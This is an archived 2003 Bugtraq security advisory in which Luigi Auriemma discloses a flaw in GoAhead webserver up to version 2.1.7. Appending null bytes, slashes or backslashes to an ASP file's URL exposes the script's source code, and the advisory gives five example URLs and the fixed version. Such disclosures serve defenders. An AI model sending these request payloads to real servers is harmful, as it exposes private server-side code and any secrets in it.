11113008 2003-12-17 14:06 +0000 /100 rader/ Luigi Auriemma <aluigi@altervista.org>
Importerad: 2003-12-17 19:19 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: vulnwatch@vulnwatch.org
Extern kopiemottagare: list@dshield.org
Extern kopiemottagare: news@securiteam.com
Mottagare: Bugtraq (import) <30385>
Ärende: Server side scripts viewing in Goahead webserver <= 2.1.7
------------------------------------------------------------
From: Luigi Auriemma <aluigi@altervista.org>
To: bugtraq@securityfocus.com
Cc: vulnwatch@vulnwatch.org, list@dshield.org, news@securiteam.com
Message-ID: <20031217140631.1b694b86.aluigi@altervista.org>


#######################################################################

                             Luigi Auriemma

Application:  Goahead webserver
              http://12.129.4.11/webserver/webserver.htm
Versions:     <= 2.1.7
Platforms:    multiplatform
Bug:          source code viewing of server side script files
Risk:         low/medium
Exploitation: easy via browser
Date:         17 Dec 2003
Author:       Luigi Auriemma
              e-mail: aluigi@altervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Goahead webserver is an embedded OpenSource server that can be build
on a lot of systems (CE, Ecos, GNU/Linux, Lynx, MacOS, NW, QNX4,
VXWORKS, Win32 and others).  Then it is supported by a lot of
companies that use it for their projects and it is also used like
"base" for other webservers, furthermore it has been developed for be
very tiny and to run on embedded systems.


#######################################################################

======
2) Bug
======


Goahead webserver supports the usage of ASP files that are "executed"
when called by the client's browser.
However exists a vulnerability letting the client to view the source
code of each ASP file (or other server side scripts excluded the
cgi-bin files) simply adding some chars or URL encoded chars after the
name of the requested file:

%00, %2f, %5c, / and \



#######################################################################

===========
3) The Code
===========


http://server/asp.asp%00
http://server/asp.asp%2f
http://server/asp.asp%5c
http://server/asp.asp/
http://server/asp.asp\



#######################################################################

======
4) Fix
======


Version 2.1.8 released the 8th Dec 2003



#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org
(11113008) /Luigi Auriemma <aluigi@altervista.org>/(Ombruten)